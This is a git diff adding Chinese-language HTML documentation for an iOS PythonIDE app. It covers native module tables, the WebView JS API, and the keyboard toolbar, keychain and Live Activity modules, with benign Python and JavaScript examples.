+    image = photos.pick_image(raw_data=True)
+    if not image:
+        return "已取消选择"
+    clipboard.set(f"picked {len(image)} bytes")
+    console.hud_alert("已复制图片大小", "success")
+    return f"已复制 {len(image)} bytes"
+
+
+def save_demo_token():
+    ok = keychain.set_password("demo", "token", "demo-token")
+    return "已保存" if ok else "保存失败"
+
+
+

#AppUI 示例

+

设备信息、本地快照与通知提醒组合;原生调用均在按钮回调里。

+
+
+ python +
+
+
import appui
+import device
+import haptics
+import notification
+import storage
+
+SNAPSHOT_KEY = "native.snapshot"
+REMINDER_ID = "native.snapshot.reminder"
+
+state = appui.State(
+    message="就绪",
+    rows=[
+        {"id": "model", "title": "型号", "value": "点击刷新"},
+        {"id": "battery", "title": "电量", "value": "—"},
+    ],
+)
+
+
+def row_key(row):
+    return row["id"]
+
+
+def row_view(row):
+    return appui.LabeledContent(row["title"], value=row["value"])
+
+
+def refresh_device_info():
+    state.rows = [
+        {"id": "model", "title": "型号", "value": device.model()},
+        {"id": "battery", "title": "电量", "value": f"{device.battery_level():.0%}"},
+    ]
+    state.message = "设备信息已刷新"
+
+
+def save_snapshot():
+    storage.set_json(SNAPSHOT_KEY, state.rows)
+    if haptics.is_supported():
+        haptics.notification("success")
+    state.message = "快照已保存"
+
+
+def remind_later():
+    perm = notification.request_permission()
+    if not perm.get("granted"):
+        state.message = "未获得通知权限"
+        return
+
+    result = notification.schedule(
+        REMINDER_ID,
+        "原生快照",
+        "查看已保存的设备快照",
+        delay=60,
+    )
+    state.message = f"已调度提醒: {result}"
+
+
+def body():
+    return appui.NavigationStack(
+        appui.List([
+            appui.Section("设备", [
+                appui.ForEach(state.rows, row_builder=row_view, key=row_key),
+            ]),
+            appui.Section("操作", [
+                appui.Button("刷新设备", action=refresh_device_info),
+                appui.Button("保存快照", action=save_snapshot)
+                .button_style("bordered_prominent"),
+                appui.Button("1 分钟后提醒", action=remind_later),
+            ], footer=state.message),
+        ]).navigation_title("原生能力")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#先选模块

+
目标首选模块注意
查询或申请权限permission只在用户点击后申请
选择、拍照、保存图片photos取消返回 None,要先判断
保存 token、密码keychain不要写到 storage 或日志
保存普通设置storage主题、开关、筛选条件
弹窗、HUD、输入console / dialogs短反馈用 HUD
定位、运动、健康、蓝牙、NFC对应模块先展示用途再请求
网络、WebSocketnetwork / websocket勿在 body() 发请求
快捷指令、Live Activityshortcuts / live_activity需明确用户动作
+

#入口模型

+

所有原生能力入口由同一套能力清单统一定义(App 内与 Agent 共用)。先判断入口类型,再打开对应文档。

+
入口类型第一行写什么文档入口
Python 模块import <module>API 参考 › Python 模块
AppUI 原生组件import appui + 组件名API 参考 › AppUI 原生组件
专题页见专题页「首选入口」API 参考 › 专题页
参考见参考页说明c_extensions
+

#Python 模块

+

完整 Python import 模块表(含类型与呈现方式):

+
模块类型呈现分类权限能力
alarmPython 模块Python API系统服务alarm_schedule, alarm_cancel
assistantPython 模块Python API系统服务assistant_tools, device_context_answers
audio_recorderPython 模块Python API媒体与视觉microphonemicrophone_capture, recording_control, level_metering
audio_sessionPython 模块Python API媒体与视觉audio_session_category, audio_route_query
avplayerPython 模块Python API媒体与视觉audio_video_load, playback_control, native_player
backgroundPython 模块Python API网络与连接background_task, remaining_time, app_state
background_downloadPython 模块Python API网络与连接background_download, download_progress
biometricPython 模块系统表单设备与传感器biometricface_id, touch_id, passcode_fallback
ble_peripheralPython 模块Python API网络与连接ble_peripheral_advertising, ble_characteristic_update
bluetoothPython 模块Python API网络与连接bluetoothble_scan, ble_connect, read, write
c_extensions参考参考清单网络与连接扩展清单, 兼容性说明
calendar_eventsPython 模块系统选择器系统服务calendar, reminderscalendar_read, calendar_write, reminders
clipboardPython 模块Python API系统服务read_clipboard, write_clipboard, clear_clipboard
consolePython 模块系统表单系统服务hud, alerts, input_dialogs
contactsPython 模块系统选择器系统服务contactscontacts_read, contacts_picker, contacts_edit
coremlPython 模块Python API媒体与视觉model_listing, model_loading, image_prediction
databasePython 模块Python API系统服务sqlite, native_sqlite_bridge, collections, transactions
devicePython 模块Python API设备与传感器device_state, screen, battery, thermal_state
dialogsPython 模块系统表单系统服务native_dialogs, forms, pickers
font_pickerPython 模块系统表单系统服务font_picker_ui
foundation_modelsPython 模块Python API系统服务on_device_generation, summarization, error_explanation
hapticsPython 模块Python API设备与传感器impact_feedback, notification_feedback, core_haptics
healthPython 模块Python API设备与传感器healthsteps, heart_rate, sleep, body_metrics
http_serverPython 模块Python API网络与连接local_http_server, file_serving
keyboardPython 模块Python API自动化与扩展toolbar_buttons, insert_text, set_buttons
keychainPython 模块Python API系统服务secure_password_storage, service_listing
live_activityPython 模块Python API系统服务dynamic_island, lock_screen_activity
locationPython 模块Python API设备与传感器locationgps, heading, geocoding
mailPython 模块撰写界面系统服务mail_compose, attachment_send
media_composerPython 模块Python API媒体与视觉video_merge, audio_mux, media_export
messagePython 模块撰写界面系统服务sms_compose, imessage_compose
motionPython 模块Python API设备与传感器motionaccelerometer, gyroscope, attitude, barometer
musicPython 模块Python API媒体与视觉music_playback, catalog_search
music_playerPython 模块Python API媒体与视觉music_queue, playback_control, play_mode, now_playing_metadata, remote_commands, playback_restore, progress_events, queue_preload, preload_events
networkPython 模块Python API网络与连接http, download, connectivity
nfcPython 模块系统选择器系统服务nfcndef_scan, ndef_write
notificationPython 模块Python API系统服务notificationslocal_notifications, badges, scheduled_alerts
now_playingPython 模块Python API媒体与视觉now_playing_metadata, playback_progress
objc_utilPython 模块Python API自动化与扩展Objective-C 运行时, 系统框架访问
pdfPython 模块Python API媒体与视觉pdf_creation, text_extraction, page_rendering, quicklook_preview
permissionPython 模块Python API系统服务permission_status, permission_request
photosPython 模块Python API媒体与视觉photos, cameraphoto_picker, camera_capture, photo_save, video_save, asset_read
qrcodePython 模块Python API媒体与视觉qr_generation, png_export
shazamPython 模块Python API媒体与视觉microphonemusic_identification, microphone_recognition, file_recognition
shortcutsPython 模块Python API自动化与扩展run_shortcut, open_url, open_settings
soundPython 模块Python API媒体与视觉sound_effects, audio_player
speechPython 模块Python API媒体与视觉speechtext_to_speech, voice_listing
speech_recognitionPython 模块Python API媒体与视觉speech, microphonelive_transcription, file_transcription, locale_listing
sshPython 模块Python API网络与连接ssh_exec, sftp_upload, sftp_download
storagePython 模块Python API系统服务user_defaults, json_values
storekitPython 模块Python API系统服务iap_purchase, subscription_status, product_catalog
translationPython 模块Python API系统服务on_device_translation, language_listing
video_recorderPython 模块Python API媒体与视觉cameravideo_recording
visionPython 模块Python API媒体与视觉ocr
vision_helperPython 模块Python API媒体与视觉face_detection, barcode_detection, rectangle_detection, classification
weatherPython 模块Python API网络与连接locationcurrent_conditions, daily_forecast, hourly_forecast
websocketPython 模块Python API网络与连接websocket_connect, send, receive, close
+

#AppUI 原生组件入口

+

无独立 import 的系统 UI,通过 AppUI 组件触发:

+
组件入口AppUI 组件文档关联模块
camera_pickerCameraPickercamera-modulephotos
file_importerFileImporterfile-picker-module
map_viewMapViewlocation-modulelocation, permission
photo_pickerPhotoPickerphotos-modulephotos
player_controllerPlayerControllerappui-ref-mediaavplayer
share_linkShareLinkshare-module
video_playerVideoPlayerappui-ref-mediaavplayer
web_viewWebViewappui-ref-media
+

#专题页

+

同一能力的双入口说明(脚本模块 vs AppUI 组件):

+
专题首选入口文档说明
cameraphotoscamera-moduleCamera capture via photos.capture_image or AppUI CameraPicker.
file_pickerappuifile-picker-moduleFile selection has no import module; use AppUI FileImporter.
shareappuishare-moduleSystem share sheet has no import module; use AppUI ShareLink.
+

#文档导航

+

侧边栏分组由 schema navigation.iosNative 投影,与 App 内文档导航一致:

+ +

#场景配方

+
目标推荐组合说明
选图并保存设置appui + photos + storage按钮触发 picker,结果写入 State
下载并存相册network + photos下载到本地再 save_video
地图展示位置permission + location + MapView先查权限再定位
健康面板permission + health + Chart拒绝时显示空状态
提醒任务notification + storage稳定 identifier 调度/取消
播放历史列表database + List大列表勿塞 storage
安全配置页biometric + keychain + Form密钥进 keychain
传感器面板motion + haptics高频数据避免每帧重建 UI
远端列表network + List + .refreshable请求放刷新回调
+

#高级与扩展

+

以下模块在 自动化与扩展 集合,或供进阶场景使用:

+
模块用途
shortcuts运行快捷指令、打开 URL/设置
keyboard脚本编辑器键盘工具栏
objc_utilObjective-C Runtime 底层访问
c_extensions内置 C 扩展清单与替代路线
全部模块总览按导入名浏览完整模块表
+

#平台与权限矩阵

+
能力真机要求权限用户动作推荐入口
相册、拍照推荐真机photos / cameraphotos
定位、运动真机location / motionlocationmotion
HealthKit真机healthhealth
BLE真机bluetoothbluetooth
NFC真机且支持 NFCnfcnfc
本地通知真机/模拟器部分可测notificationsnotification
Vision / Core ML视系统能力通常是visioncoreml
WebSocket需网络websocket
Keychain / StorageApp 环境剪贴板推荐用户动作keychainstorage
+
+

#常见错误

+
错误写法后果修正
body() 里调系统 API刷新时反复弹窗/扫描放进按钮回调
权限被拒后循环申请体验差、可能被拒显示状态与设置入口
用户取消未处理 None崩溃或脏 UI保留原状态并提示
token 写入日志或 storage隐私风险keychain
真机能力在模拟器硬测误判不可用查平台矩阵,真机验证
+
+

#相关文档

+
文档用途
permission统一权限(侧边栏「基础与权限」)
photos相册与相机(「媒体 › 采集」)
notification本地通知(「界面与系统」)
live_activity锁屏实时活动(「界面与系统」)
shortcuts快捷指令(自动化与扩展)
全部模块总览完整模块字母/分类表(补充索引)
+

#完整工作流示例

+
  1. 在 AppUI 页面用命名按钮触发原生能力。
  2. import 对应模块并检查权限/可用性。
  3. 根据返回值更新 State,给用户可见反馈。
  4. 失败时保留当前页面并提示下一步。
+

#发布前检查

+
  • 每个敏感能力都有权限说明与用户触发点
  • 离线、取消、拒绝路径已覆盖
  • API 名与 schema / 模块文档一致
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,请按「失败路径」排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/js-api/index.html b/docs/docs/pages/js-api/index.html new file mode 100644 index 0000000..747aa7b --- /dev/null +++ b/docs/docs/pages/js-api/index.html @@ -0,0 +1,502 @@ + + + + + + JS API 说明 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

JS API 说明

+

.js 文件可调用的接口与示例。

+
+ +
+

.js 文件可以调用一组由应用提供的 JS 接口,用来输出日志、弹窗、读写文件、访问剪贴板、发送网络请求、触发通知和读取设备信息。

+

#预期效果

+

WebView 示例会显示一个按钮,点击后写入剪贴板并把读取结果显示在页面里。

+

#先选 JS 还是 Python

+
需求首选原因
HTML 里响应按钮、更新 DOM、展示轻量交互JS API逻辑离页面最近,回调能直接更新元素。
原生表单、列表、导航、图表和媒体页面appui原生控件、状态和可访问性更完整。
复杂网络请求、鉴权、上传下载、文件批处理Python 模块错误处理和数据处理更清晰。
照片、定位、通知、健康、蓝牙等系统能力原生模块权限、取消和不可用状态有明确约定。
只嵌入一个静态说明页或预览页WebView(html=...)JS API 可以只用于复制、打开链接和轻提示。
+

#API 分组

+
分组API用途
consoleconsole.log, console.warn, console.error日志输出
弹窗alert, confirm, prompt短流程阻塞输入
剪贴板getClipboard, setClipboard读取和写入文本
存储localStorage小型持久键值状态
网络fetchHTTP GET 辅助函数
系统openURL, openSettings, getDeviceInfo系统接口
+

#在 WebView 里使用

+

如果你要把 HTML 嵌入 AppUI,先用 WebView(html=...) 放入页面,再在 HTML 中调用注入的 JS API。

+
+
+ python +
+
+
import appui
+
+html = """
+<button id="copy">复制文本</button>
+<p id="status">等待操作</p>
+<script>
+document.getElementById("copy").addEventListener("click", function() {
+  setClipboard("来自 WebView")
+  getClipboard(function(text) {
+    document.getElementById("status").textContent = text || "剪贴板为空"
+  })
+})
+</script>
+"""
+
+
+def body():
+    return appui.NavigationStack(
+        appui.WebView(html=html).navigation_title("JS API")
+    )
+
+
+appui.run(body)
+
+

#写 JS API 的心智模型

+
  1. 宿主:JS API 只在应用提供的 WebView 环境里存在。
  2. 触发:剪贴板、通知、打开 URL、文件写入等能力由点击或明确动作触发。
  3. 回调:多数系统能力是回调式 API,先更新 DOM,再记录必要日志。
  4. 数据:小状态用 localStorage,复杂数据和敏感数据交给 Python 模块。
  5. 边界:WebView 负责展示和轻交互,业务流程由 AppUI 或 Python 承载。
+

#console 输出

+
+
+ javascript +
+
+
console.log("Hello")
+console.warn("警告")
+console.error("错误信息")
+
+

#alert / confirm / prompt

+
+
+ javascript +
+
+
alert("提示")
+
+confirm("确定吗?", function(ok) {
+  console.log(ok)
+})
+
+prompt("请输入", "默认", function(text) {
+  console.log(text)
+})
+
+

#剪贴板

+
+
+ javascript +
+
+
getClipboard(function(text) {
+  console.log(text)
+})
+
+setClipboard("复制的内容")
+
+

#localStorage

+
+
+ javascript +
+
+
localStorage.setItem("key", "value")
+var value = localStorage.getItem("key")
+localStorage.removeItem("key")
+
+

#文件读写

+
+
+ javascript +
+
+
readFile("a.txt", function(err, content) {
+  console.log(err || content)
+})
+
+writeFile("b.txt", "内容", function(err) {
+  console.log(err || "ok")
+})
+
+listDir(".", function(err, jsonText) {
+  console.log(err || JSON.parse(jsonText))
+})
+
+

#fetch 网络请求

+
+
+ javascript +
+
+
fetch("https://httpbin.org/get")
+  .then(function(body) {
+    console.log(body)
+  })
+  .catch(function(err) {
+    console.error(err)
+  })
+
+

#通知

+
+
+ javascript +
+
+
requestNotificationPermission(function(granted) {
+  if (granted) {
+    scheduleNotification("标题", "内容", 3)
+  }
+})
+
+

#设备与系统

+
+
+ javascript +
+
+
console.log(getBatteryLevel(), isCharging())
+console.log(getDeviceInfo())
+openURL("https://apple.com")
+openSettings()
+
+

#常用工具

+
+
+ javascript +
+
+
vibrate("light")
+
+var now = getCurrentTime()
+console.log(formatDate(now, "yyyy-MM-dd HH:mm"))
+
+console.log(hash("hello", "sha256"))
+
+qrcode("https://www.python.org", function(err, base64) {
+  console.log(err || base64)
+})
+
+

#定时器

+
+
+ javascript +
+
+
var timer = setTimeout(function() {
+  console.log("1 秒后")
+}, 1000)
+
+var interval = setInterval(function() {
+  console.log("每 2 秒")
+}, 2000)
+
+clearTimeout(timer)
+clearInterval(interval)
+
+

#截图和加载提示

+
+
+ javascript +
+
+
showLoading("处理中...")
+
+takeScreenshot(function(err, base64) {
+  hideLoading()
+  console.log(err ? err : "base64 长度:" + base64.length)
+})
+
+

#失败路径

+
情况应该怎么处理
API 未定义确认代码运行在应用提供的 WebView 环境里,而不是普通外部浏览器。
回调没有触发把结果写到页面元素或 console,先确认按钮事件已绑定。
文件或通知失败检查用户动作、权限和文件路径;失败时显示简短错误。
请求复杂接口复杂 HTTP、鉴权和上传流程优先交给 Python network 模块。
+

#发布前检查

+
检查项合格标准
环境页面在 AppUI WebView 中运行,不依赖外部浏览器注入 API。
触发剪贴板、通知、打开 URL 和文件写入由用户点击触发。
回调成功、取消和失败都更新页面元素,不只写 console。
数据secret 不放进 localStorage,复杂数据交给 Python 保存。
边界复杂 HTTP、权限和原生能力不堆在网页脚本里。
+

#使用规则

+
  • JS API 是应用提供的接口,不等同于浏览器完整 Web API。
  • 文件 API 适合读写脚本工作区里的小文件,不适合大文件流式处理。
  • fetch 是轻量 GET 辅助函数;复杂请求优先用 Python network 模块。
  • 弹窗、通知、剪贴板这类能力必须由明确用户动作触发。
  • 如果页面不需要 DOM,优先使用 Python 原生模块和 AppUI 组件。
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/keyboard-module/index.html b/docs/docs/pages/keyboard-module/index.html new file mode 100644 index 0000000..96819df --- /dev/null +++ b/docs/docs/pages/keyboard-module/index.html @@ -0,0 +1,436 @@ + + + + + + keyboard - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

keyboard

+

编辑器自定义键盘工具栏与插入动作。

+
+ +
+

脚本编辑器键盘工具栏:自定义快捷键按钮、插入文本与代码片段。

+
边界:作用于 PythonIDE 脚本编辑器键盘上方工具栏,不是 AppUI 小应用内键盘。配置代码应在编辑器中运行的脚本里执行;AppUI 示例仅演示配置写法。
+

#模块概览

+
说明
导入import keyboard
适合做什么Tab 缩进、常用关键字、代码片段、光标跳转
调用时机编辑器打开前或脚本开头注册按钮
推荐顺序clear()(可选)→ add_button / add_group → 回调里 insert_text
回调action 为 Python 函数,点击时在当前编辑器执行
+
+

#快速开始

+

在编辑器脚本中注册工具栏按钮:

+
+
+ python +
+
+
import keyboard
+
+
+def insert_tab():
+    keyboard.insert_text("    ")
+
+
+def insert_print():
+    keyboard.insert_text("print()")
+
+
+def insert_def_snippet():
+    keyboard.insert_snippet("def ${1:name}(${2:args}):\n    ${0:pass}")
+
+
+keyboard.clear()
+keyboard.add_button("Tab", action=insert_tab)
+keyboard.add_button("print", action=insert_print)
+keyboard.add_button("def", action=insert_def_snippet)
+
+

分组按钮:

+
+
+ python +
+
+
import keyboard
+
+
+def insert_import():
+    keyboard.insert_text("import ")
+
+
+def insert_if():
+    keyboard.insert_text("if :\n    ", offset=-6)
+
+
+keyboard.add_group("常用", buttons=[
+    keyboard.Button("import", action=insert_import),
+    keyboard.Button("if", action=insert_if),
+])
+
+
+

#AppUI 示例

+

说明:以下界面展示推荐配置;实际生效需在编辑器中运行同等 keyboard 代码

+
+
+ python +
+
+
import appui
+
+state = appui.State(
+    config_status="未应用",
+    snippet_preview="def name(args):\n    pass",
+)
+
+
+def show_config_hint():
+    state.config_status = (
+        "请在编辑器脚本中执行 keyboard.add_button;"
+        "AppUI 内不会修改编辑器工具栏。"
+    )
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("说明", [
+                appui.Text(
+                    "keyboard 模块自定义脚本编辑器键盘工具栏,"
+                    "不作用于本 AppUI 界面内的输入框。"
+                ).foreground_color("secondaryLabel"),
+                appui.Button("查看配置说明", action=show_config_hint)
+                .button_style("bordered_prominent"),
+            ]),
+            appui.Section("推荐配置示例", [
+                appui.LabeledContent("Tab", value='insert_text("    ")'),
+                appui.LabeledContent("print", value='insert_text("print()")'),
+                appui.Text(state.snippet_preview)
+                .font("caption")
+                .foreground_color("secondaryLabel"),
+            ]),
+            appui.Section("状态", [
+                appui.Text(state.config_status).foreground_color("secondaryLabel"),
+            ], footer="在编辑器新建脚本,粘贴「快速开始」代码后运行一次即可。"),
+        ]).navigation_title("键盘工具栏")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
add_button(label, action=None, icon=None)添加单个按钮
add_group(name, buttons)添加按钮组
set_buttons(buttons)替换全部按钮
remove_button(label)移除按钮
clear()清空自定义按钮
insert_text(text, offset=0)插入文本,可选光标偏移
insert_snippet(template)插入片段($1$0 占位)
move_cursor(offset)移动光标
Button(label, action=None, icon=None)按钮描述类
+

#insert_text / insert_snippet

+
+
+ python +
+
+
keyboard.insert_text("    ")  # Tab
+keyboard.insert_text("if :\n    ", offset=-6)  # 光标回到条件处
+keyboard.insert_snippet("def ${1:name}():\n    ${0:pass}")
+keyboard.move_cursor(-3)
+
+

icon 可选 SF Symbol 名称。

+

#生命周期

+

同一 label 对应稳定 btn_{label} ID;remove_button / clear 会注销回调。

+
+

#常见错误

+
错误写法后果修正
在 AppUI 里期望改工具栏不生效在编辑器脚本中注册
重复 add_button 同名覆盖或重复clear()remove_button
action 未调用 insert_*按钮无效果回调里写插入逻辑
与系统键盘混淆概念错误本模块仅编辑器 accessory 工具栏
+
+

#相关文档

+
文档用途
console控制台弹窗
appui小应用界面(非编辑器工具栏)
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/keychain-module/index.html b/docs/docs/pages/keychain-module/index.html new file mode 100644 index 0000000..8199449 --- /dev/null +++ b/docs/docs/pages/keychain-module/index.html @@ -0,0 +1,453 @@ + + + + + + keychain - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

keychain

+

iOS 钥匙串安全存储。

+
+ +
+

iOS 钥匙串:安全保存 token、密码、API Key 等敏感小字符串。

+
边界:只存敏感凭据,不存主题、筛选条件或大型 JSON(用 storage)。不要把 get_password() 的明文打印到日志或界面;需要展示时用「已配置 / 未配置」或掩码。
+

#模块概览

+
说明
导入import keychain
适合做什么登录 token、API Key、私密密码、多账号凭据
调用时机保存/删除放在按钮回调;读取可在启动时,但不要在 body() 里反复读
推荐顺序固定 service + accountset_password → 需要时 get_password → 退出时 delete_password
定位键service 是命名空间(如 myapp.api),account 是用户名或环境名
+
+

#快速开始

+

下面脚本写入、读取、删除一条演示凭据:

+
+
+ python +
+
+
import keychain
+
+SERVICE = "demo-api"
+ACCOUNT = "default"
+
+ok = keychain.set_password(SERVICE, ACCOUNT, "secret-token")
+print("保存:", ok)
+
+token = keychain.get_password(SERVICE, ACCOUNT)
+print("已配置:", bool(token))  # 不要 print(token) 明文
+
+ok = keychain.delete_password(SERVICE, ACCOUNT)
+print("删除:", ok)
+
+for service, account in keychain.get_services():
+    print(service, account)
+
+
+

#AppUI 示例

+

SecureField 收集输入,保存后清空输入框;界面只显示状态,不展示明文 secret。

+
+
+ python +
+
+
import appui
+import keychain
+
+SERVICE = "demo-api"
+ACCOUNT = "default"
+
+state = appui.State(
+    token="",
+    status="未检查",
+    message="输入 token 后点保存",
+)
+
+
+def update_token(value):
+    state.token = value
+
+
+def save_token():
+    value = state.token.strip()
+    if not value:
+        state.message = "请输入 token"
+        return
+    ok = keychain.set_password(SERVICE, ACCOUNT, value)
+    state.batch_update(
+        token="",
+        status="已配置" if ok else "保存失败",
+        message="已保存到钥匙串" if ok else "保存失败,请重试",
+    )
+
+
+def check_token():
+    token = keychain.get_password(SERVICE, ACCOUNT)
+    state.batch_update(
+        status="已配置" if token else "未配置",
+        message="凭据存在" if token else "尚未保存凭据",
+    )
+
+
+def delete_token():
+    ok = keychain.delete_password(SERVICE, ACCOUNT)
+    state.batch_update(
+        status="已删除" if ok else "删除失败",
+        message="凭据已清除" if ok else "没有可删除的凭据",
+    )
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("API Token", [
+                appui.SecureField("粘贴 token", text=state.token, on_change=update_token),
+                appui.Button("保存到钥匙串", action=save_token)
+                .button_style("bordered_prominent"),
+                appui.Button("检查是否已配置", action=check_token),
+                appui.Button("删除凭据", action=delete_token, role="destructive"),
+            ]),
+            appui.Section("状态", [
+                appui.LabeledContent("配置", value=state.status),
+                appui.Text(state.message).foreground_color("secondaryLabel"),
+            ]),
+        ]).navigation_title("钥匙串")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
set_password(service, account, password)保存或更新 → bool
get_password(service, account="")读取 → strNone
delete_password(service, account="")删除 → bool
get_services()列出本 App 已存的 (service, account)
+

#读写凭据

+

条目由 service + account 两个字符串定位:

+
参数说明
service稳定命名空间,如 openaigithubmyapp.production
account用户名、邮箱或环境名,如 defaultprod
password要保存的 secret 字符串
+
+
+ python +
+
+
import keychain
+
+keychain.set_password("myapp.api", "prod", "sk-xxx")
+token = keychain.get_password("myapp.api", "prod")
+if token:
+    # 用于请求头,不要打印到界面
+    headers = {"Authorization": f"Bearer {token}"}
+
+

set_password(...) — 成功返回 True,失败返回 False

+

get_password(...) — 存在时返回字符串,不存在返回 None。判断用 if token:,不要假设空字符串。

+

delete_password(...) — 用户退出账号或切换环境时调用。

+

#列出凭据

+

get_services() — 返回 list[tuple],每项是 (service, account)

+
+
+ python +
+
+
for service, account in keychain.get_services():
+    print(service, account)
+
+

用于设置页的「已保存账号」列表;仍不要直接展示密码明文。

+

#与 storage 的分工

+
数据类型推荐模块
主题、筛选、小型 JSONstorage
token、密码、API Keykeychain
大文件、图片文件系统或媒体模块
+
+

#常见错误

+
错误写法后果修正
把 token 存进 storage敏感数据不安全使用 keychain.set_password
print(get_password(...))secret 进入日志只打印 bool(token) 或掩码
每次随机 service旧凭据读不到使用固定命名空间
body() 里读并显示明文刷新时泄露 secret只显示「已配置 / 未配置」
+
+

#相关文档

+
文档用途
storage非敏感偏好设置
network带 token 发 HTTP 请求
biometric生物识别解锁流程
原生能力入口MiniApp 场景配方
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/live-activity-module/index.html b/docs/docs/pages/live-activity-module/index.html new file mode 100644 index 0000000..d7fac91 --- /dev/null +++ b/docs/docs/pages/live-activity-module/index.html @@ -0,0 +1,447 @@ + + + + + + live_activity - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

live_activity

+

锁屏和 Dynamic Island 的 Live Activity 控制。

+
+ +
+

Live Activity:在锁屏和 Dynamic Island 展示进行中的任务(上传、导出、计时等)。

+
边界:不是普通通知,也不是长期后台任务;适合有明确开始、更新、结束的短流程。progress 范围 0.01.0;任务结束(成功/失败/取消)都要 end(),避免锁屏残留。需要 iOS 16.2+ 且系统允许 Live Activity;控制放在按钮或真实任务回调,不要在 body() 里自动 start()
+

#模块概览

+
说明
导入import live_activity
适合做什么导出进度、同步状态、训练计时、配送跟踪
调用时机用户启动任务时 start → 进度变化时 update → 完成时 end
推荐顺序is_supported()start()update()end()
敏感信息锁屏可见,不要展示 token、密码或隐私明细
+
+

#快速开始

+

下面脚本模拟一次导出流程:

+
+
+ python +
+
+
import live_activity
+
+if not live_activity.is_supported():
+    print("当前设备不支持 Live Activity")
+else:
+    live_activity.start(
+        title="导出",
+        message="准备中…",
+        progress=0.0,
+        compact_text="0%",
+    )
+    live_activity.update(message="进行中", progress=0.5, compact_text="50%")
+    live_activity.end(message="完成", dismiss_delay=5)
+
+
+

#AppUI 示例

+

用按钮模拟开始、更新、结束,并同步页面状态。

+
+
+ python +
+
+
import appui
+import live_activity
+
+state = appui.State(
+    message="未开始",
+    progress=0.0,
+    supported=live_activity.is_supported(),
+)
+
+
+def start_activity():
+    if not state.supported:
+        state.message = "当前设备不支持 Live Activity"
+        return
+    live_activity.start(
+        title="导出",
+        message="开始导出",
+        progress=0.0,
+        icon="arrow.down.circle.fill",
+        compact_text="0%",
+    )
+    state.batch_update(message="已开始", progress=0.0)
+
+
+def update_activity():
+    if not state.supported:
+        return
+    live_activity.update(
+        message="进行中",
+        progress=0.5,
+        compact_text="50%",
+    )
+    state.batch_update(message="进行中", progress=0.5)
+
+
+def end_activity():
+    if not state.supported:
+        return
+    live_activity.end(message="完成", dismiss_delay=5)
+    state.batch_update(message="已结束", progress=1.0)
+
+
+def body():
+    support_text = "支持" if state.supported else "不支持"
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("环境", [
+                appui.LabeledContent("Live Activity", value=support_text),
+            ]),
+            appui.Section("模拟任务", [
+                appui.ProgressView("进度", value=state.progress),
+                appui.Text(state.message).foreground_color("secondaryLabel"),
+            ]),
+            appui.Section("操作", [
+                appui.Button("开始", action=start_activity)
+                .button_style("bordered_prominent"),
+                appui.Button("更新到 50%", action=update_activity),
+                appui.Button("结束", action=end_activity, role="destructive"),
+            ], footer="真机 + 系统设置中开启 Live Activity 效果最好。"),
+        ]).navigation_title("实时活动")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
is_supported()设备与系统是否支持
start(title, message, progress, icon, compact_text)开始活动
update(...)更新字段(只传要改的)
end(message, dismiss_delay)结束活动
+

#is_supported

+

is_supported() -> bool — 检查 ActivityKit 是否可用且用户未在系统设置中关闭。

+

#start

+

start(title="", message="", progress=None, icon=None, compact_text=None)

+
+
+ python +
+
+
live_activity.start(
+    title="下载中",
+    message="正在下载…",
+    progress=0.0,
+    icon="arrow.down.circle.fill",
+    compact_text="0%",
+)
+
+
参数说明
progress0.0–1.0,超出会被裁剪
iconSF Symbol 名称
compact_textDynamic Island 紧凑模式短文案
+

#update

+

update(title=None, message=None, progress=None, icon=None, compact_text=None) — 只更新传入的字段,其余保持不变。

+

#end

+

end(message=None, dismiss_delay=None) — 结束当前活动。

+
+
+ python +
+
+
live_activity.end(message="失败", dismiss_delay=3)
+
+

dismiss_delay 为结束后在锁屏保留的秒数;省略则尽快消失。

+
+

#常见错误

+
错误写法后果修正
普通按钮反馈也 start()打扰用户锁屏用 AppUI 状态或 notification
progress > 1.0显示异常限制在 0.0–1.0
startend锁屏状态残留成功/失败/取消都 end()
展示敏感 token锁屏泄露只显示进度与中性文案
body()start()刷新时重复创建放进任务/按钮回调
+
+

#相关文档

+
文档用途
notification任务完成后的本地通知
background短时后台任务
原生能力入口MiniApp 场景配方
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/location-module/index.html b/docs/docs/pages/location-module/index.html new file mode 100644 index 0000000..e1d754c --- /dev/null +++ b/docs/docs/pages/location-module/index.html @@ -0,0 +1,575 @@ + + + + + + location - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

location

+

定位、指南针和地理编码。

+
+ +
+

定位与地理编码:申请权限、获取坐标、指南针方向,以及地址正反解析。

+
边界:本模块提供 CoreLocation 与 CLGeocoder,不包含地图 UI。要在 AppUI 里画地图标记,请看 定位地图 Cookbook
+

#模块概览

+
说明
导入import location
